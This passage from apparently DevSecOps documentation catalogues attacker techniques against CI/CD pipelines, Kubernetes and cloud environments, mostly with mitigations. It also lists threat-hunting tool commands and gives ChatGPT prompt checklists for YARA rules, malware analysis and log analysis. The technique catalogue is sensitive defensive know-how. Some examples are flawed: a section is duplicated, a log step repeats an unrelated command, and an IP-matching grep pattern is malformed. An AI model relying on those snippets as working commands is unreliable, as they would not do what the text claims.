Detecting and mitigating the presence of secrets in private repositories is essential to maintain the confidentiality and integrity of the organization's assets. ##### Commit/push to protected branches ![](../../../assets/images/priv-key.drawio.png) Committing or pushing code to protected branches in a repository can pose a significant security risk in the DevOps environment. If the pipeline has access to the repository and the repository's access controls are permissive, it may allow an attacker to bypass normal code review and approval processes and inject malicious code directly into important branches without the intervention of the development team. This can lead to unauthorized code execution, compromising the integrity and security of the application or system. Implementing proper access controls and review processes is crucial to mitigate the risk of unauthorized code changes in protected branches. ##### Certificates and identities from metadata services ![](../../../assets/images/priv-cert.drawio.png) In cloud-hosted pipelines, attackers may exploit the access they already have to the environment to gain unauthorized access to certificates and identities stored in metadata services. These services, often provided by cloud platforms, store sensitive information such as certificates, authentication tokens, and identity-related data. Extracting such information allows the attacker to assume the privileges associated with those certificates or identities, potentially compromising the security and confidentiality of the DevOps environment. Protecting and securing certificates and identities from metadata services is crucial to prevent unauthorized access and maintain the integrity of the system. ### Credential access Credential access techniques refer to the methods used by attackers to steal credentials within the DevOps environment. By obtaining valid credentials, attackers can gain unauthorized access to critical systems, services, or resources. It is crucial to protect credentials and implement measures to prevent their unauthorized access or theft. Understanding and mitigating credential access risks is essential to maintain the security and integrity of the DevOps environment. #### User credentials ![](../../../assets/images/cred-key.drawio.png) User credentials are often required in CI pipelines to access external services such as databases, APIs, or other resources. However, if not properly secured, these credentials can become a target for attackers. They may try to gain access to the pipeline and extract the credentials to gain unauthorized access to external services. Protecting user credentials is crucial to prevent unauthorized access and maintain the security of the DevOps environment. ##### Service credentials ![](../../../assets/images/cred-serv.drawio.png) Service credentials, such as service principal names (SPN) and shared access signature (SAS) tokens, are commonly used in DevOps environments to authenticate and authorize access to various services and resources. However, if these credentials are compromised, an attacker can gain unauthorized access to other services directly from the pipeline. Protecting service credentials is essential to prevent unauthorized access and maintain the security of the DevOps environment. ### Lateral movement The lateral movement tactic in CI/CD environments refers to the techniques used by attackers to move through different resources within the DevOps pipeline. Attackers aim to gain access to deployment resources, build artifacts, registries, or other targets to expand their reach and carry out malicious activities. Detecting and preventing lateral movement is crucial to maintain the security and integrity of the CI/CD environment. #### Compromise build artifacts ![](../../../assets/images/arti.drawio.png) Compromising build artifacts is a supply chain attack where an attacker gains control over the CI pipelines and manipulates the build artifacts. By injecting malicious code into the building materials before the build process is completed, the attacker can introduce malicious functionality into the final build artifacts. Protecting build artifacts is essential to prevent the deployment of compromised or malicious software. ##### Registry injection ![](../../../assets/images/regi.drawio.png) Registry injection is a technique where an attacker infects the registry used for storing build artifacts in a CI/CD pipeline. By injecting malicious images into the registry, the attacker aims to have these images downloaded and executed by containers that rely on the infected registry. Preventing registry injection is crucial to ensure the integrity and security of the build artifacts used in the CI/CD process. ##### Spread to deployment resources ![](../../../assets/images/depi.drawio.png) Spreading to deployment resources refers to the scenario where an attacker gains access to the deployment resources within a CI/CD pipeline. By leveraging the access granted to the pipeline, the attacker can propagate their presence to the deployment environment, leading to potential code execution, data exfiltration, and other malicious activities. Preventing the spread to deployment resources is crucial to maintain the security and integrity of the deployment environment. ### Defense evasion Defense evasion techniques are employed by attackers to bypass or evade the security measures and defenses implemented in a DevOps environment. By evading detection and mitigation mechanisms, attackers can continue their attacks undetected and maintain persistence within the environment. Understanding and mitigating these evasion techniques is crucial to ensure the security and resilience of a DevOps environment. #### Service logs manipulation ![](../../../assets/images/monitoring.drawio.png) Service logs manipulation is a technique where an attacker, who has gained access to the environment, modifies the logs generated by various services. By tampering with the logs, the attacker aims to hide their activities and prevent defenders from detecting their presence or identifying the attacks they have executed. Detecting and preventing service logs manipulation is crucial for maintaining the integrity and reliability of log data for security analysis. ##### Compilation manipulation ![](../../../assets/images/change.drawio.png) Compilation manipulation is a technique used by attackers to inject malicious code into the compilation process, which can result in the inclusion of backdoors or vulnerabilities in the final software build. By tampering with the compilation process, the attacker aims to evade detection and introduce malicious functionality into the software without leaving obvious traces in the source code or version control system. ##### Reconfigure branch protections ![](../../../assets/images/unprotected.drawio.png) Reconfiguring branch protections is a technique where an attacker with administrative permissions modifies the configuration settings of branch protection tools. By altering these settings, the attacker can bypass the controls and introduce code into a branch without the need for any user intervention or approval. This can enable the attacker to inject malicious code into the codebase and potentially compromise the integrity of the repository. ### Impact The impact tactic refers to techniques used by attackers to exploit access to CI/CD resources for malicious purposes. Unlike other tactics, these techniques are not intended to be stealthy or covert, but rather to cause immediate and noticeable damage or disruption to the organization's CI/CD pipelines and resources. These techniques can have a significant impact on the availability, integrity, and confidentiality of the software development and deployment processes. #### DDoS ![](../../../assets/images/dos.drawio.png) DDoS (Distributed Denial of Service) is a type of attack where an adversary overwhelms a target system or network with a flood of traffic from multiple sources, causing service disruptions or outages. In a CI/CD environment, an attacker with access to compute resources can misuse them to launch DDoS attacks against external targets. ##### Cryptocurrency mining ![](../../../assets/images/crypto.drawio.png) Cryptocurrency mining is the process of using computational resources to solve complex mathematical problems and earn cryptocurrency rewards. In a compromised CI/CD environment, an attacker may utilize the compute resources for unauthorized cryptocurrency mining, consuming system resources and potentially causing performance degradation. ##### Local DoS ![](../../../assets/images/localdos.drawio.png) Local Denial of Service (DoS) attacks are performed by an attacker who has gained access to the CI pipelines. The attacker uses the pipelines to launch DoS attacks against the organization's own infrastructure or services, causing disruptions or overloading the virtual machines (VMs) used in the CI/CD environment. ##### Resource deletion ![](../../../assets/images/res-del.drawio.png) Resource deletion is a technique used by attackers who have gained access to CI/CD resources to cause denial of service by permanently deleting critical resources, such as cloud resources or repositories. By deleting these resources, the attacker disrupts the organization's operations and prevents normal functioning of the CI/CD environment. ### Exfiltration The exfiltration tactic involves various techniques used by attackers to extract sensitive data from a victim's environment in a CI/CD context. These techniques aim to bypass security controls and transfer data outside the organization's network or infrastructure. #### Clone private repositories ![](../../../assets/images/ex-pro.drawio.png) In this scenario, the attacker leverages their access to the CI pipelines to clone private repositories, giving them access to sensitive code and potentially valuable intellectual property. They exploit the permissions and tokens available within the CI environment, such as GITHUB_TOKEN in GitHub, to clone private repositories. ##### Pipeline logs ![](../../../assets/images/ex-pip.drawio.png) In this scenario, the attacker exploits their access to the CI/CD pipelines to access and view the pipeline execution logs. These logs often contain valuable information about the build process, deployment details, and potentially sensitive data such as credentials to services and user accounts. ##### Exfiltrate data from production resources ![](../../../assets/images/ex-res.drawio.png) In this scenario, the attacker exploits their access to the CI/CD pipelines, which also have access to production resources. This allows the attacker to exfiltrate sensitive data from the production environment using the pipeline as a means of transportation. ## Kubernetes Threat Matrix The Threat Matrix highlights various attack techniques, including both known and hypothetical scenarios, that could be exploited by adversaries targeting Kubernetes environments. It categorizes these techniques into different stages of the attack lifecycle, such as initial access, privilege escalation, lateral movement, persistence, and exfiltration. ### Initial access As organizations embrace containerized environments like Kubernetes, it becomes essential to understand the potential vulnerabilities and attack vectors that adversaries may exploit. The initial access tactic poses a significant threat, serving as the entry point for unauthorized actors into Kubernetes clusters. In this article, we will explore some common techniques used to gain initial access and discuss proactive measures to secure your Kubernetes environment. #### Using cloud credentials In cloud-based Kubernetes deployments, compromised cloud credentials can spell disaster. Attackers who gain access to cloud account credentials can infiltrate the cluster's management layer, potentially leading to complete cluster takeover. It is crucial to implement robust cloud security practices, such as strong access controls and multi-factor authentication, to safeguard against unauthorized access to cloud credentials. #### Compromised images in registry Running compromised container images within a cluster can introduce significant risks. Attackers with access to a private registry can inject their own compromised images, which can then be inadvertently pulled by users. Additionally, using untrusted images from public registries without proper validation can expose the cluster to malicious content. Employing image scanning and verifying the trustworthiness of container images can help mitigate this risk. #### Kubeconfig file The kubeconfig file, which contains cluster details and credentials, is used by Kubernetes clients like kubectl. If an attacker gains access to this file, they can exploit it to gain unauthorized access to the Kubernetes clusters. Securing the kubeconfig file through secure distribution channels, enforcing access controls, and employing secure client environments are essential steps to mitigate this risk. #### Vulnerable application Running a vulnerable application within a cluster can open the door to initial access. Exploiting remote code execution vulnerabilities in containers can allow attackers to execute arbitrary code. If a service account is mounted to the compromised container, the attacker can use its credentials to send requests to the Kubernetes API server. Regularly patching and updating container images, along with implementing strong network segmentation, are crucial to mitigating this risk. #### Exposed dashboard The Kubernetes dashboard, when exposed externally without proper authentication and access controls, becomes a potential entry point for unauthorized access. Attackers can exploit an exposed dashboard to gain remote management capabilities over the cluster. It is essential to restrict access to the dashboard, enable authentication, and ensure it is accessible only through secure connections. ### Execution Once attackers gain initial access to a Kubernetes cluster, the execution tactic becomes their next focus. By leveraging various techniques, attackers attempt to run their malicious code within the cluster, potentially causing widespread damage. In this article, we will explore common execution techniques in Kubernetes and discuss key strategies to mitigate the associated risks. #### Exec into container: Attackers with sufficient permissions can exploit the "exec" command ("kubectl exec") to run malicious commands inside containers within the cluster. By using legitimate images, such as popular OS images, as a backdoor container, attackers can remotely execute their malicious code through "kubectl exec." Limiting permissions and enforcing strict access controls will help prevent unauthorized execution within containers. #### New container: Attackers with permissions to deploy pods or controllers, like DaemonSets, ReplicaSets, or Deployments, may attempt to create new resources within the cluster for running their code. It is crucial to regularly audit and review access controls, ensuring that only authorized entities can create and deploy containers. Monitoring the creation of new resources and implementing least privilege principles will limit unauthorized code execution. #### Application exploit: Exploiting vulnerabilities in applications deployed within the cluster presents an opportunity for attackers to execute their code. Vulnerabilities that allow remote code execution or enable unauthorized access to resources can be leveraged. Mounting service accounts to containers, which is the default behavior in Kubernetes, may grant attackers the ability to send requests to the API server using compromised service account credentials. Regular patching and vulnerability management are crucial to mitigating this risk. #### SSH server running inside container: In some cases, attackers may discover containers running SSH servers. If attackers acquire valid credentials, either through brute-force attempts or phishing, they can exploit these SSH servers to gain remote access to the container. To mitigate this risk, it is essential to employ strong authentication mechanisms, enforce secure credential management practices, and regularly audit containers for unauthorized SSH servers. ### Persistence In the context of Kubernetes security, persistence refers to the techniques employed by attackers to maintain access to a cluster even after their initial entry point has been compromised. By understanding and addressing the persistence tactics used by adversaries, organizations can strengthen their security posture and protect their Kubernetes environments. In this article, we will explore common persistence techniques in Kubernetes and discuss strategies to mitigate these risks. #### Backdoor container: One method attackers employ to establish persistence is by running malicious code within a container in the cluster. By leveraging Kubernetes controllers like DaemonSets or Deployments, attackers can ensure that a specific number of containers constantly run on one or more nodes in the cluster. To counter this, regular monitoring of controller configurations and thorough auditing of container images can help detect and remove unauthorized backdoor containers. #### Writable hostPath mount: The hostPath volume allows mounting a directory or file from the host to a container. Attackers with permissions to create containers within the cluster can exploit this feature by creating a container with a writable hostPath volume. This provides them with persistence on the underlying host and potential avenues for unauthorized access. Implementing strict access controls and regular auditing of container configurations can help identify and mitigate this risk. #### Kubernetes CronJob: Kubernetes CronJob is a scheduling mechanism used to run Jobs at specified intervals. Attackers may leverage Kubernetes CronJob functionality to schedule the execution of malicious code as a container within the cluster. This allows them to maintain persistence by regularly running their code. Monitoring and reviewing CronJob configurations, as well as conducting periodic vulnerability scans, are crucial in identifying and addressing any unauthorized or suspicious CronJobs. ### Privilege escalation Privilege escalation is a critical tactic employed by attackers to gain higher privileges within a Kubernetes environment. By obtaining elevated access, attackers can potentially compromise the entire cluster, breach cloud resources, and disrupt critical operations. Understanding common privilege escalation techniques is crucial for implementing effective security measures. In this article, we will explore common privilege escalation techniques in Kubernetes and discuss strategies to mitigate these risks. #### Privileged container A privileged container possesses all the capabilities of the host machine, allowing unrestricted actions within the cluster. Attackers who gain access to a privileged container, or have permissions to create one, can exploit the host's resources. It is essential to enforce strict container security policies, limit the creation of privileged containers, and regularly monitor for unauthorized access or configuration changes. #### Cluster-admin binding Role-based access control (RBAC) is a fundamental security feature in Kubernetes, controlling the actions of different identities within the cluster. Cluster-admin is a built-in high-privileged role in Kubernetes. Attackers with permissions to create bindings and cluster-bindings can create a binding to the cluster-admin ClusterRole or other high-privileged roles. Implementing least privilege principles, regularly reviewing RBAC configurations, and conducting frequent audits are vital for preventing unauthorized privilege escalation. #### hostPath mount Attackers can leverage the hostPath volume mount to gain access to the underlying host, breaking out of the container's isolated environment. This allows them to escalate privileges from the container to the host. Implementing strict access controls, conducting regular vulnerability scans, and monitoring for suspicious hostPath mount configurations are essential for mitigating this risk. #### Accessing cloud resources: In cloud-based Kubernetes deployments, attackers may leverage their access to a single container to gain unauthorized access to other cloud resources outside the cluster. For instance, in Azure Kubernetes Service (AKS), each node contains a service principal credential used for managing Azure resources. Attackers who gain access to this credential file can exploit it to access or modify cloud resources. Strictly managing access to service principal credentials, encrypting sensitive files, and regularly rotating credentials are critical mitigation steps. ### Defense evasion Defense evasion techniques are employed by attackers to evade detection and conceal their activities within Kubernetes environments. By actively evading security measures, attackers can prolong their presence, increase the likelihood of successful attacks, and bypass traditional security controls. Understanding common defense evasion techniques is crucial for organizations to enhance threat detection capabilities and bolster overall Kubernetes security. In this article, we will explore common defense evasion tactics and discuss strategies to mitigate these risks effectively. #### Clear container logs: Attackers may attempt to delete application or operating system logs on compromised containers to conceal their malicious activities. Organizations should implement robust log management practices, including centralizing logs and establishing secure backup mechanisms. Regularly monitoring log files for suspicious activities and implementing access controls to prevent unauthorized log modifications are vital to maintain visibility into container activities. #### Delete Kubernetes events: Kubernetes events play a critical role in logging state changes and failures within the cluster. Attackers may seek to delete Kubernetes events to avoid detection of their activities. Organizations should ensure proper event logging and implement log integrity checks to detect any tampering or deletion of events. Retaining logs in a secure and immutable manner can aid in the identification of anomalous behavior. #### Pod/container name similarity: Attackers may attempt to hide their malicious activities by naming their backdoor pods in a way that resembles legitimate pods created by controllers like Deployments or DaemonSets. By blending in with existing pod naming conventions, attackers aim to avoid suspicion. Organizations should implement strict naming conventions and conduct regular audits to identify any discrepancies or suspicious pod/container names. #### Connect from proxy server To obfuscate their origin IP addresses, attackers may employ proxy servers, including anonymous networks like TOR, to communicate with applications or the Kubernetes API server. Organizations should consider implementing network security measures to monitor and restrict access from suspicious IP ranges or anonymous networks. Implementing intrusion detection and prevention systems (IDPS) and conducting regular threat intelligence analysis can aid in identifying proxy server usage by attackers. ### Credential access The security of credentials is of paramount importance in Kubernetes environments. Attackers employ various techniques to steal credentials, including application credentials, service accounts, secrets, and cloud credentials. Safeguarding credential access is crucial to prevent unauthorized access, data breaches, and potential compromise of sensitive information. In this article, we will explore common credential access tactics and discuss strategies to enhance identity protection and mitigate the risks associated with credential theft in Kubernetes. #### List Kubernetes secrets: Kubernetes secrets are used to store sensitive information, such as passwords and connection strings, within the cluster. Attackers with appropriate permissions can retrieve these secrets from the API server, potentially gaining access to critical credentials. Organizations should adopt a defense-in-depth approach to secure secrets, including strong access controls, encryption, and regular auditing of secret configurations. Implementing fine-grained RBAC policies and limiting access to secrets based on the principle of least privilege can help mitigate the risk of unauthorized access. #### Mount service principal: In cloud deployments, attackers may exploit their access to a container in the cluster to gain unauthorized access to cloud credentials. For example, in Azure Kubernetes Service (AKS), each node contains a service principal credential. Organizations should implement robust security measures, such as secure cluster configurations, strict access controls, and regular rotation of service principal credentials, to prevent unauthorized access to cloud resources. #### Access container service account: Service accounts (SAs) are used to represent application identities within Kubernetes. By default, SAs are mounted to every pod in the cluster, allowing containers to interact with the Kubernetes API server. Attackers who gain access to a pod can extract the SA token and potentially perform actions within the cluster based on the SA's permissions. It is crucial to implement RBAC and enforce strong authentication mechanisms to mitigate the risk of unauthorized SA access. Regular audits and monitoring of SA permissions can help identify and remediate any potential security gaps. #### Application credentials in configuration files: Developers often store secrets, such as application credentials, in Kubernetes configuration files, including environment variables in the pod configuration. Attackers may attempt to access these configuration files to steal sensitive information. Organizations should promote secure coding practices, such as externalizing secrets to a secure secret management solution, and avoid storing credentials directly in configuration files. Implementing secure coding guidelines, regular security training for developers, and automated vulnerability scanning can help reduce the risk of unauthorized access to application credentials. ### Discovery Discovery attacks pose a significant threat to the security of Kubernetes environments. Attackers employ various techniques to explore the environment, gain insights into the cluster's resources, and perform lateral movement to access additional targets. Understanding and mitigating these discovery tactics is crucial to bolster the overall security posture of Kubernetes deployments. In this article, we will delve into common discovery techniques and discuss strategies to enhance defense and thwart unauthorized exploration in Kubernetes. #### Access the Kubernetes API server: The Kubernetes API server acts as the gateway to the cluster, enabling interactions and resource management. Attackers may attempt to access the API server to gather information about containers, secrets, and other resources. Protecting the API server is paramount, and organizations should implement strong authentication mechanisms, robust access controls, and secure communication channels (TLS) to prevent unauthorized access and unauthorized retrieval of sensitive data. #### Access Kubelet API: Kubelet, running on each node, manages the execution of pods and exposes a read-only API service. Attackers with network access to the host can probe the Kubelet API to gather information about running pods and the node itself. To mitigate this risk, organizations should implement network segmentation and restrict network access to the Kubelet API, employing firewalls or network policies to allow communication only from trusted sources. #### Network mapping: Attackers may attempt to map the cluster network to gain insights into running applications and identify potential vulnerabilities. Implementing network segmentation, network policies, and utilizing network security solutions can help limit unauthorized network exploration within the cluster, reducing the attack surface and minimizing the impact of network mapping attempts. #### Access Kubernetes dashboard: The Kubernetes dashboard provides a web-based interface for managing and monitoring the cluster. Attackers who gain access to a container in the cluster may attempt to exploit the container's network access to access the dashboard pod. Organizations should secure the Kubernetes dashboard by implementing strong authentication, role-based access controls (RBAC), and secure network access policies to prevent unauthorized access and information leakage. #### Instance Metadata API: Cloud providers offer instance metadata services that provide information about virtual machine configurations and network details. Attackers who compromise a container may attempt to query the instance metadata API to gain insights into the underlying node. Protecting the metadata API is crucial, and organizations should implement network-level security controls, such as restricting access to the metadata service from within the VM only, to prevent unauthorized access and limit the exposure of sensitive information. ### Lateral movement Lateral movement attacks pose a significant threat in containerized environments, allowing attackers to traverse through a victim's environment, gain unauthorized access to various resources, and potentially escalate privileges. Understanding and mitigating lateral movement tactics is crucial for bolstering the security of Kubernetes deployments. In this article, we will explore common techniques used by attackers for lateral movement and discuss strategies to enhance defense and minimize the impact of these attacks in Kubernetes. #### Access the Kubernetes API server: The Kubernetes API server acts as the gateway to the cluster, enabling interactions and resource management. Attackers may attempt to access the API server to gather information about containers, secrets, and other resources. Protecting the API server is paramount, and organizations should implement strong authentication mechanisms, robust access controls, and secure communication channels (TLS) to prevent unauthorized access and unauthorized retrieval of sensitive data. #### Access Cloud Resources: Attackers who compromise a container in the cluster may attempt to move laterally into the cloud environment itself. Organizations must implement strong access controls, employ least privilege principles, and regularly monitor cloud resources to detect and prevent unauthorized access attempts. #### Container Service Account: Attackers with access to a compromised container can leverage the mounted service account token to send requests to the Kubernetes API server and gain access to additional resources within the cluster. Securing container service accounts through RBAC and regularly rotating credentials can help mitigate the risk of lateral movement through compromised containers. #### Cluster Internal Networking: By default, Kubernetes allows communication between pods within the cluster. Attackers who gain access to a single container can leverage this networking behavior to traverse the cluster and target additional resources. Implementing network segmentation, network policies, and regular network monitoring can restrict unauthorized lateral movement within the cluster. #### Application Credentials in Configuration Files: Developers often store sensitive credentials in Kubernetes configuration files, such as environment variables in pod configurations. Attackers who gain access to these credentials can use them to move laterally and access additional resources both inside and outside the cluster. Employing secure secrets management practices, such as encrypting configuration files and limiting access to sensitive information, can mitigate the risk of credential-based lateral movement. #### Writable Volume Mounts on the Host: Attackers may attempt to exploit writable volume mounts within a compromised container to gain access to the underlying host. Securing host-level access controls, implementing strong container isolation, and regularly patching and hardening the underlying host can help mitigate the risk of lateral movement from containers to the host. #### Access Kubernetes Dashboard: Attackers with access to the Kubernetes dashboard can manipulate cluster resources and execute code within containers using the built-in "exec" capability. Securing the Kubernetes dashboard through strong authentication, access controls, and monitoring for suspicious activities can minimize the risk of unauthorized lateral movement through the dashboard. #### Access Tiller Endpoint: Tiller, the server-side component of Helm, may expose internal gRPC endpoints that do not require authentication. Attackers who can access a container connected to the Tiller service may exploit this vulnerability to perform unauthorized actions within the cluster. Organizations should consider migrating to Helm version 3, which removes the Tiller component and eliminates this specific risk. ### Impact The Impact tactic in Kubernetes refers to techniques employed by attackers to disrupt, abuse, or destroy the normal behavior of the environment. These attacks can lead to data loss, resource abuse, and denial of service, resulting in severe consequences for organizations. Protecting Kubernetes deployments from such impact attacks is crucial to ensure the availability, integrity, and confidentiality of resources. In this article, we will explore common impact techniques used by attackers and discuss strategies to mitigate their effects in Kubernetes environments. #### Data Destruction: Attackers may target Kubernetes deployments to destroy critical data and resources. This can involve deleting deployments, configurations, storage volumes, or compute resources. To mitigate the risk of data destruction, it is essential to implement robust backup and disaster recovery mechanisms. Regularly backing up critical data, verifying backup integrity, and employing proper access controls can help in minimizing the impact of data destruction attacks. #### Resource Hijacking: Compromised resources within a Kubernetes cluster can be abused by attackers for malicious activities such as digital currency mining. Attackers who gain access to containers or have the permissions to create new containers may exploit these resources for unauthorized tasks. Implementing strict pod security policies, monitoring resource utilization, and regularly auditing containers for unauthorized activities can help detect and prevent resource hijacking attempts. #### Denial of Service (DoS): Attackers may launch DoS attacks to disrupt the availability of Kubernetes services. This can involve targeting containers, nodes, or the API server. To mitigate the impact of DoS attacks, it is crucial to implement network-level security measures such as ingress and egress filtering, rate limiting, and traffic monitoring. Additionally, implementing resource quotas, configuring horizontal pod autoscaling, and monitoring resource utilization can help in maintaining service availability and mitigating the impact of DoS attacks. ## Cloud Threat Matrix The MITRE ATT&CK framework provides a comprehensive knowledge base of adversary tactics and techniques used in cyber attacks. ### Initial Access: #### Cloud Account Phishing An attacker attempts to gain unauthorized access to a cloud account through phishing techniques. #### Cloud Service Exploitation Attackers exploit vulnerabilities in cloud services to gain initial access. ### Execution #### Remote Execution Attackers execute code or commands on a cloud system remotely. #### User Execution Attackers trick a user into executing malicious code or commands on a cloud system. ### Persistence #### Persistence through Cloud Resource Access: Attackers establish persistence by maintaining access to cloud resources or accounts. #### Persistence through Cloud Service Attackers use cloud services or features to establish persistence in the environment. ### Privilege Escalation #### Access Cloud Service Permissions Attackers escalate their privileges by manipulating cloud service permissions. #### Container Escape Attackers escape containerization to gain higher privileges in the cloud environment. ### Defense Evasion #### Clear Cloud Logs Attackers attempt to delete or manipulate logs in the cloud environment to evade detection. #### Modify Cloud Trail Attackers modify or tamper with cloud trail logs to hide their activities. ### Credential Access #### Steal Cloud Service Credentials Attackers steal cloud service credentials to gain unauthorized access. #### Capture Cloud Service Credentials Attackers capture cloud service credentials through various means. ### Discovery #### Cloud Service Discovery Attackers discover cloud services and resources to gather information about the environment. #### Container Discovery Attackers identify and explore containers within the cloud environment. ### Lateral Movement #### Cloud Infrastructure Lateral Movement Attackers move laterally between cloud resources and accounts. #### Container-to-Container Lateral Movement Attackers move laterally between containers within the cloud environment. ### Collection #### Data from Cloud Storage Object Attackers collect and exfiltrate data from cloud storage objects. #### Data from Container Attackers collect and exfiltrate data from containers in the cloud environment. ### Exfiltration: #### Exfiltration Over Cloud Channel Attackers exfiltrate data through cloud-based communication channels. #### Exfiltration Over Other Network Medium Attackers exfiltrate data using other network mediums within the cloud environment. ## Threat Hunting ## Shodan A search engine for internet-connected devices that allows you to identify potential attack surfaces and vulnerabilities in your network. ``` shodan scan submit --filename scan.json "port:22" ``` ## VirusTotal A threat intelligence platform that allows you to analyze files and URLs for potential threats and malware. ``` curl --request POST --url 'https://www.virustotal.com/api/v3/urls' --header 'x-apikey: YOUR_API_KEY' --header 'content-type: application/json' --data '{"url": "https://example.com"}' ``` ## ThreatConnect A threat intelligence platform that allows you to collect, analyze, and share threat intelligence with your team and community. ``` curl -H "Content-Type: application/json" -X POST -d '{"name": "Example Threat Intel", "description": "This is an example threat intelligence report."}' https://api.threatconnect.com/api/v2/intelligence ``` ## MISP An open-source threat intelligence platform that allows you to collect, store, and share threat intelligence with your team and community. ``` curl -X POST 'http://misp.local/events/restSearch' -H 'Authorization: YOUR_API_KEY' -H 'Content-Type: application/json' -d '{ "returnFormat": "json", "eventid": [1,2,3], "enforceWarninglist":0 }' ``` ## ChatGPT ### Generate Yara Rule - [ ] Specify the objective of the YARA rule. For this example, let's create a rule to detect a specific type of malware based on its behavior. Prompt: "Please provide a brief description of the malware behavior you want to detect." - [ ] Identify indicators of the malware, such as file names, strings, or patterns that are characteristic of the malware. This information will be used in the YARA rule. Prompt: "What are some specific indicators or patterns associated with the malware?" - [ ] Start the YARA rule by defining metadata such as the rule name, description, and author. Add this information to the rule.yar file. Prompt: "Please provide the rule name, description, and author for the YARA rule." - [ ] Define the condition or logic that will trigger the rule when a match is found. Use the indicators identified in Step 2 and YARA syntax to specify the condition. Prompt: "Please provide the condition for the YARA rule using the indicators and YARA syntax." - [ ] Optionally, add tags to the YARA rule to provide additional information or categorization. Tags can be used to group related rules together. Prompt: "If applicable, please add any relevant tags to the YARA rule." - [ ] Test the YARA rule against sample files or known malware to ensure it detects the intended behavior. Prompt: "Please test the YARA rule against sample files or known malware to verify its effectiveness." - [ ] Refine the YARA rule based on the test results and iterate on the steps as necessary to improve its accuracy and coverage. Prompt: "Based on the test results, do you need to refine or iterate on the YARA rule?" ### Code Analysis - [ ] Acquire a malware sample that you want to analyze. This can be a file, script, or any other form of malicious code. Prompt: "Please provide the malware sample you want to analyze." - [ ] Create a secure and isolated environment to analyze the malware sample. This can be a virtual machine, sandbox, or container. Prompt: "How would you like to set up the secure environment? (e.g., virtual machine, sandbox)" - [ ] Install the necessary tools for malware analysis. This typically includes disassemblers, debuggers, and code analysis tools. Prompt: "Please list the specific tools you would like to install for malware code analysis." - [ ] Extract the malware from its container or packaging and inspect its components, such as executable files, scripts, or configuration files. Prompt: "Please extract the malware sample and provide a brief overview of its components." - [ ] Use a disassembler or decompiler tool to analyze the malware's code and convert it into a more readable format for analysis. Prompt: "Which disassembler or decompiler tool would you like to use for the analysis?" - [ ] Examine the code of the malware to identify its behavior, functions, and potential vulnerabilities. Look for any obfuscation techniques or anti-analysis measures used by the malware. Prompt: "What specific aspects of the malware code would you like to analyze? (e.g., behavior, vulnerabilities)" - [ ] If necessary, set up a debugger to trace the execution of the malware and understand its runtime behavior. This step may require advanced knowledge and specialized tools. Prompt: "Do you want to debug and trace the execution of the malware? If yes, please specify the debugger tool." - [ ] Document your findings during the malware code analysis process, including identified behaviors, potential risks, and any other relevant information. Generate a report summarizing the analysis. Prompt: "Please document your findings and generate a report summarizing the malware code analysis." - [ ] Based on the analysis, develop and apply security mitigations to protect against the malware's attack vectors. This may involve patching vulnerabilities, updating security measures, or implementing specific controls. Prompt: "What security mitigations would you recommend based on the analysis?" ### Generate Script - [ ] Acquire a malware sample that you want to analyze. This can be a file, script, or any other form of malicious code. Prompt: "Please provide the malware sample you want to analyze." - [ ] Extract the malware from its container or packaging and inspect its components, such as executable files, scripts, or configuration files. Prompt: "Please extract the malware sample and provide a brief overview of its components." - [ ] Examine the code of the malware to identify its behavior, functions, and potential vulnerabilities. Look for any obfuscation techniques or anti-analysis measures used by the malware. Prompt: "What specific aspects of the malware code would you like to analyze? (e.g., behavior, vulnerabilities)" - [ ] If necessary, set up a debugger to trace the execution of the malware and understand its runtime behavior. This step may require advanced knowledge and specialized tools. Prompt: "Do you want to debug and trace the execution of the malware? If yes, please specify the debugger tool." - [ ] Document your findings during the malware code analysis process, including identified behaviors, potential risks, and any other relevant information. Generate a report summarizing the analysis. Prompt: "Please document your findings and generate a report summarizing the malware code analysis." - [ ] Based on the analysis, develop and apply security mitigations to protect against the malware's attack vectors. This may involve patching vulnerabilities, updating security measures, or implementing specific controls. Prompt: "What security mitigations would you recommend based on the analysis?" ### Log Analysis - [ ] Preprocess the log files to extract the necessary information and make them more readable. Use tools like awk, sed, or grep to filter and format the log data. For example: ``` $ awk '{print $4, $7}' access.log > formatted_logs.txt ``` - [ ] Start by exploring the log data to understand its structure and content. Use commands like head, tail, or cat to view the log files. For example: ``` $ head formatted_logs.txt ``` Prompt: "Please provide a brief overview of the log data structure and format." - [ ] Perform statistical analysis on the log data to gain insights. Use tools like grep, sort, or uniq to extract useful information. For example: ``` $ grep '404' formatted_logs.txt | wc -l ``` Prompt: "Can you provide the count of HTTP 404 errors in the log data?" - [ ] Apply pattern matching techniques to identify specific events or anomalies. Use commands like grep or regular expressions to search for patterns. For example: ``` $ grep -E '(\b\d{3}\b){4}' formatted_logs.txt ``` Prompt: "Please identify any IP addresses in the log data." - [ ] Perform time-based analysis to identify trends or suspicious activities. Use commands like awk or date to manipulate timestamps. For example: ``` $ awk '{print $4, $7}' access.log > formatted_logs.txt ``` Prompt: "Can you provide a distribution of log events based on the hour of the day?" - [ ] Engage in an interactive investigation by asking questions or seeking specific information. Use prompts like: * "Can you identify any failed login attempts in the log data?" * "Please provide the top 10 most accessed URLs in the log data." * "Are there any user-agents associated with suspicious activities?" - [ ] Create visualizations to present the findings. Use tools like matplotlib, gnuplot, or online visualization platforms. For example: ``` import matplotlib.pyplot as plt # Code to generate a bar chart or line graph based on the log analysis results ``` Prompt: "Can you create a bar chart showing the distribution of log events over time?" ## Databases * https://otx.alienvault.com/ * https://exchange.xforce.ibmcloud.com/ * https://github.com/certtools/intelmq-feeds-documentation * https://sca.analysiscenter.veracode.com/vulnerability-database/search# * https://vulmon.com * https://github.com/advisories ## Playbook * https://gitlab.com/syntax-ir/playbooks ## Log * https://github.com/logpai/loghub/tree/master ## References * https://socradar.io ================================================ FILE: docs/production/vulnerability-assessment.md ================================================ --- layout: default title: Vulnerability Assessment parent: Production --- {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- # Vulnerability Assessment {: .no_toc } Vulnerability assessment is the process of identifying and quantifying security vulnerabilities in an organization's IT systems, applications, and infrastructure. The goal of vulnerability assessment is to provide organizations with a comprehensive view of their security posture, allowing them to identify and prioritize security risks and take steps to remediate them. In the context of DevSecOps, vulnerability assessment is a critical component of a comprehensive security strategy. By regularly scanning for vulnerabilities and identifying potential security risks, organizations can take proactive steps to secure their applications and infrastructure. Some of the key benefits of vulnerability assessment in DevSecOps include: 1. Early detection of vulnerabilities: By regularly scanning for vulnerabilities, organizations can detect potential security risks early on, allowing them to take swift action to remediate them. 2. Improved risk management: Vulnerability assessments provide organizations with a comprehensive view of their security posture, allowing them to 